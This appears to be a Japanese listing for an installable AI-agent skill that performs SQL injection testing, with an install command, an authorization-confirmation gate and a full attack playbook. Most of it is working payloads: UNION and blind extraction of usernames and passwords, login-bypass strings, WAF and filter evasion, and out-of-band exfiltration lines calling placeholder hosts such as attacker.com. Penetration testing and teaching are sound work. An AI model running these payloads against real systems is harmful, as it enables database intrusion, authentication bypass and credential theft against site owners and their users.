sql-injection-testing について
Web アプリの SQL インジェクションを評価するセキュリティテスト用スキルです。認可済みの診断や管理された学習環境を対象とし、能動的なテスト前に権限と範囲の確認を必須とします。
主な機能
- 01インジェクションの検出と調査
- 02インバンド・ブラインド・OOB テスト
- 03認証バイパスの評価
- 04データベースの識別と列挙
- 05証拠と修正レポートの作成
- 06認可確認ゲート
活用シーン
- 01許可された範囲の Web 入力評価
- 02ラボでの SQL インジェクション対策検証
- 03脆弱性の所見と証拠の整理
インストール
コマンドをコピーしてターミナルで実行します。
npx skills add https:/ / github.com/ sickn33/ agentic-awesome-skills --skill sql-injection-testingインストール後、Claude Code で/sql-injection-testingを入力して読み込まれたか確認します。
詳細
⚠️ 許可された用途のみ このスキルは、教育目的または許可されたセキュリティ評価に限って使用してください。 このツールを使用する前に、システム所有者から明示的な書面による許可を得る必要があります。 このツールの悪用は違法であり、固く禁じられています。
必須確認ゲート 対象を調査、悪用、変更、永続化、データ抽出する、または認証情報へのアクセスを試みるコマンドを実行する前に、必ず次の手順を行ってください。
- ユーザーに、対象の正確な URL、IP アドレス、アカウント、またはリソースを提示するよう求めます。
- 書面による許可と、許可された範囲を確認するようユーザーに求めます。
- 実行するコマンドを正確に示し、予想される影響を説明します。
- 現在の会話で明示的な確認が得られるまで待ちます。
その確認がない場合は、読み取り専用にとどめ、防御に関するガイダンスのみを提供してください。サンドボックス、使い捨て VM、または管理されたラボの利用を優先してください。
許可された用途のみ:このスキルは、許可されたセキュリティ評価、防御的な検証、または管理された教育環境でのみ使用してください。
SQL インジェクションテスト
目的
Web アプリケーションに対して包括的な SQL インジェクション脆弱性評価を実施し、データベースのセキュリティ上の欠陥を特定するとともに、悪用手法を実証し、入力サニタイズの仕組みを検証します。このスキルでは、インバンド、ブラインド、アウトオブバンドの各攻撃経路にわたって SQL インジェクションの脆弱性を体系的に検出・悪用し、アプリケーションのセキュリティ態勢を評価できます。
入力/前提条件
必要なアクセス
- インジェクション可能なパラメーターを含む対象 Web アプリケーションの URL
- リクエスト操作用の Burp Suite または同等のプロキシツール
- 自動悪用用の SQLMap のインストール
- 開発者ツールを有効にしたブラウザー
技術要件
- SQL クエリー構文(MySQL、MSSQL、PostgreSQL、Oracle)の理解
- HTTP リクエスト/レスポンスサイクルの知識
- データベースのスキーマと構造に関する知識
- テストレポートの書き込み権限
法的な前提条件
- ペネトレーションテストに関する書面による許可
- 対象 URL とパラメーターを含む、明確に定義された範囲
- 緊急連絡手順の確立
- データ取り扱いに関する合意の締結
出力/成果物
主な出力
- 深刻度評価を含む SQL インジェクション脆弱性レポート
- 抽出したデータベースのスキーマとテーブル構造
- 認証バイパスの概念実証
- コード例を含む修正の推奨事項
証拠資料
- インジェクションの成功を示すスクリーンショット
- HTTP リクエスト/レスポンスログ
- データベースダンプ(サニタイズ済み)
- ペイロードのドキュメント
中核となるワークフロー
フェーズ 1:検出と偵察
インジェクション可能なパラメーターの特定
データベースクエリーとやり取りする、ユーザーが制御可能な入力フィールドを特定します。
# Common injection points
- URL parameters: ?id=1, ?user=admin, ?category=books
- Form fields: username, password, search, comments
- Cookie values: session_id, user_preference
- HTTP headers: User-Agent, Referer, X-Forwarded-For
基本的な脆弱性の兆候をテスト
特殊文字を挿入し、エラーレスポンスを発生させます。
-- Single quote test
'
-- Double quote test
"
-- Comment sequences
--
#
/**/
-- Semicolon for query stacking
;
-- Parentheses
)
アプリケーションのレスポンスを監視し、次の点を確認します。
- クエリー構造が明らかになるデータベースエラーメッセージ
- アプリケーションの予期しない動作の変化
- HTTP 500 Internal Server エラー
- レスポンスの内容または長さの変化
ロジックテスト用ペイロード
ブールベースの脆弱性の有無を検証します。
-- True condition tests
page.asp?id=1 or 1=1
page.asp?id=1' or 1=1--
page.asp?id=1" or 1=1--
-- False condition tests
page.asp?id=1 and 1=2
page.asp?id=1' and 1=2--
真の条件と偽の条件でレスポンスを比較し、インジェクションが可能か確認します。
フェーズ 2:悪用手法
UNION ベースの抽出
攻撃者が制御する SELECT 文を元のクエリーと結合します。
-- Determine column count
ORDER BY 1--
ORDER BY 2--
ORDER BY 3--
-- Continue until error occurs
-- Find displayable columns
UNION SELECT NULL,NULL,NULL--
UNION SELECT 'a',NULL,NULL--
UNION SELECT NULL,'a',NULL--
-- Extract data
UNION SELECT username,password,NULL FROM users--
UNION SELECT table_name,NULL,NULL FROM information_schema.tables--
UNION SELECT column_name,NULL,NULL FROM information_schema.columns WHERE table_name='users'--
エラーベースの抽出
情報が漏えいするデータベースエラーを意図的に発生させます。
-- MSSQL version extraction
1' AND 1=CONVERT(int,(SELECT @@version))--
-- MySQL extraction via XPATH
1' AND extractvalue(1,concat(0x7e,(SELECT @@version)))--
-- PostgreSQL cast errors
1' AND 1=CAST((SELECT version()) AS int)--
ブラインドブールベースの抽出
アプリケーションの動作の変化からデータを推測します。
-- Character extraction
1' AND (SELECT SUBSTRING(username,1,1) FROM users LIMIT 1)='a'--
1' AND (SELECT SUBSTRING(username,1,1) FROM users LIMIT 1)='b'--
-- Conditional responses
1' AND (SELECT COUNT(*) FROM users WHERE username='admin')>0--
時間ベースのブラインド抽出
データベースのスリープ関数を使用して確認します。
-- MySQL
1' AND IF(1=1,SLEEP(5),0)--
1' AND IF((SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin')='a',SLEEP(5),0)--
-- MSSQL
1'; WAITFOR DELAY '0:0:5'--
-- PostgreSQL
1'; SELECT pg_sleep(5)--
アウトオブバンド(OOB)抽出
ラボでの使用に限った例です。すべてのコールバックドメインを、明示的に許可されたテスト用受信先に置き換えてください。記載されている例示用ドメインには接続せず、実データも送信しないでください。ネットワークコールバックには、データベース固有の権限、プラットフォームのサポート、および外部への通信が必要となる場合があります。 外部チャネルを通じてデータを流出させます。
-- MSSQL DNS exfiltration
1; EXEC master..xp_dirtree '\\attacker-server.com\share'--
-- MySQL DNS exfiltration
1' UNION SELECT LOAD_FILE(CONCAT('\\\\',@@version,'.attacker.com\\a'))--
-- Oracle HTTP request
1' UNION SELECT UTL_HTTP.REQUEST('http://attacker.com/'||(SELECT user FROM dual)) FROM dual--
フェーズ 3:認証バイパス
ログインフォームの悪用
認証情報の検証を回避するペイロードを作成します。
-- Classic bypass
admin'--
admin'/*
' OR '1'='1
' OR '1'='1'--
' OR '1'='1'/*
') OR ('1'='1
') OR ('1'='1'--
-- Username enumeration
admin' AND '1'='1
admin' AND '1'='2
クエリ変換の例:
-- Original query
SELECT * FROM users WHERE username='input' AND password='input' -- security-allowlist: controlled SQL injection test example
-- Injected (username: admin'--)
SELECT * FROM users WHERE username='admin'--' AND password='anything' -- security-allowlist: controlled SQL injection bypass example
-- Password check bypassed via comment
フェーズ 4:フィルター回避テクニック
文字エンコーディングによる回避
これらの歴史的なペイロードは、パーサーやフィルターに固有のものであり、汎用的に使える回避手段ではありません。Unicode の類似文字、ヌルバイト、キーワード内に挿入したコメントは、SQL として解析されないことがよくあります。許可されたテスト用環境で、明示されたデータベース/バージョンに対してのみ検証してください。 特殊文字がブロックされる場合:
-- URL encoding
%27 (single quote)
%22 (double quote)
%23 (hash)
-- Double URL encoding
%2527 (single quote)
-- Unicode alternatives
U+0027 (apostrophe)
U+02B9 (modifier letter prime)
-- Hexadecimal strings (MySQL)
SELECT * FROM users WHERE name=0x61646D696E -- 'admin' in hex
空白文字による回避
ブロックされたスペースを置き換えます:
-- Comment substitution
SELECT/**/username/**/FROM/**/users
SEL/**/ECT/**/username/**/FR/**/OM/**/users
-- Alternative whitespace
SELECT%09username%09FROM%09users -- Tab character
SELECT%0Ausername%0AFROM%0Ausers -- Newline
キーワードによる回避
ブラックリストに登録された SQL キーワードを回避します:
-- Case variation
SeLeCt, sElEcT, SELECT
-- Inline comments
SEL/*bypass*/ECT
UN/*bypass*/ION
-- Double writing (if filter removes once)
SELSELECTECT → SELECT
UNUNIONION → UNION
-- Null byte injection
%00SELECT
SEL%00ECT
クイックリファレンス
検出テストの手順
1. Insert ' → Check for error
2. Insert " → Check for error
3. Try: OR 1=1-- → Check for behavior change
4. Try: AND 1=2-- → Check for behavior change
5. Try: ' WAITFOR DELAY '0:0:5'-- → Check for delay
データベースのフィンガープリンティング
-- MySQL
SELECT @@version
SELECT version()
-- MSSQL
SELECT @@version
SELECT @@servername
-- PostgreSQL
SELECT version()
-- Oracle
SELECT banner FROM v$version
SELECT * FROM v$version
情報スキーマのクエリ
-- MySQL table enumeration
SELECT table_name FROM information_schema.tables WHERE table_schema=database()
-- MSSQL: use the intended schema in the current authorized database
SELECT table_name FROM information_schema.tables WHERE table_schema='dbo'
-- Column enumeration
SELECT column_name FROM information_schema.columns WHERE table_name='users'
-- Oracle equivalent
SELECT table_name FROM all_tables
SELECT column_name FROM all_tab_columns WHERE table_name='USERS'
よく使われるペイロードの一覧
| 目的 | ペイロード |
|---|---|
| 基本テスト | ' or " |
| 真となるブール値 | OR 1=1-- |
| 偽となるブール値 | AND 1=2-- |
| コメント(MySQL) | # or -- |
| コメント(MSSQL) | -- |
| UNION プローブ | UNION SELECT NULL-- |
| 時間遅延 | AND SLEEP(5)-- |
| 認証回避 | ' OR '1'='1 |
制約とガードレール
運用上の境界
- 明示的な許可なしに、破壊的なクエリ(DROP、DELETE、TRUNCATE)を実行しないでください
- データ抽出は概念実証に必要な量に制限してください
- リソースを大量に消費するクエリによるサービス拒否を避けてください
- 実際のユーザーデータを含む本番データベースを検出した場合は、直ちに中止してください
技術的な制限
- WAF/IPS が一般的なペイロードをブロックする場合があり、回避テクニックが必要になることがあります
- パラメーター化クエリは標準的なインジェクションを防止します
- 一部のブラインドインジェクションでは大量のリクエストが必要になるため、レート制限に注意してください
- セカンドオーダーインジェクションには、データフローの理解が必要です
法的および倫理的要件
- テストの前に、書面によるスコープ合意が必要です
- 抽出したすべてのデータを記録し、データ保護要件に従って取り扱ってください
- 重大な脆弱性は、合意済みの連絡経路を通じて直ちに報告してください
- スコープ要件を超えるデータには決してアクセスしないでください
例
例 1:E コマースの商品ページの SQLi
シナリオ:ID パラメーターを持つ商品表示ページのテスト
初期リクエスト:
GET /product.php?id=5 HTTP/1.1
検出テスト:
GET /product.php?id=5' HTTP/1.1
Response: MySQL error - syntax error near '''
カラムの列挙:
GET /product.php?id=5 ORDER BY 4-- HTTP/1.1
Response: Normal
GET /product.php?id=5 ORDER BY 5-- HTTP/1.1
Response: Error (4 columns confirmed)
データ抽出:
GET /product.php?id=-5 UNION SELECT 1,username,password,4 FROM admin_users-- HTTP/1.1
Response: Displays admin credentials
例 2:ブラインドの時間ベース抽出
シナリオ:目に見える出力がない状態で、ブラインドインジェクションをテスト
脆弱性の確認:
id=5' AND SLEEP(5)--
-- A delay is an indicator only; compare bounded repeated true/false controls
-- against baseline latency before attributing it to SQL execution.
データベース名の長さを抽出:
id=5' AND IF(LENGTH(database())=8,SLEEP(5),0)--
-- A reproducible controlled delay may support this hypothesis; one sample does not confirm it.
文字の抽出:
id=5' AND IF(SUBSTRING(database(),1,1)='a',SLEEP(5),0)--
-- Iterate through characters to extract: 'appstore'
例 3:ログイン回避
ターゲット:管理者ログインフォーム
標準的なログインクエリ:
SELECT * FROM users WHERE username='[input]' AND password='[input]' -- security-allowlist: controlled SQL injection test example
インジェクションペイロード:
Username: administrator'--
Password: anything
結果のクエリ:
SELECT * FROM users WHERE username='administrator'--' AND password='anything' -- security-allowlist: controlled SQL injection bypass example
結果:パスワードチェックが回避され、管理者として認証されました。
トラブルシューティング
エラーメッセージが表示されない
- アプリケーションが汎用的なエラー処理を使用しています
- ブラインドインジェクションのテクニック(ブール値または時間ベース)に切り替えてください
- 内容ではなく、レスポンスの長さの違いを監視してください
UNION インジェクションが失敗する
- カラム数が正しくない可能性があります → ORDER BY でテストしてください
- データ型が一致しない可能性があります → まず、すべてのカラムに NULL を使用してください
- 結果が表示されない可能性があります → インジェクション可能なカラム位置を特定してください
WAF がリクエストをブロックする
- エンコーディング(URL、16 進数、Unicode)のテクニックを使用してください
- キーワード内にインラインコメントを挿入してください
- 同じ操作に対する別の構文を試してください
- 複数のパラメーターにペイロードを分割してください
ペイロードが実行されない
- データベースの種類に応じた正しいコメント構文か確認してください
- アプリケーションがパラメーター化クエリを使用しているか確認してください
- 入力がクライアント側でフィルタリングされずに SQL クエリに到達していることを確認してください
- 別のインジェクションポイント(ヘッダー、Cookie)をテストしてください
時間ベースのインジェクションが安定しない
- ネットワーク遅延によって誤検知が起きることがあります
- 影響を抑えた短いテスト時間枠を設定し、対照テストを繰り返してください。負荷や可用性に関する許可なしに遅延を増やさないでください
- 複数回テストしてパターンを確認してください
- サーバー側のキャッシュによる影響を考慮してください
使用する場面
このスキルは、概要で説明されているワークフローまたはアクションを実行する場合に適用できます。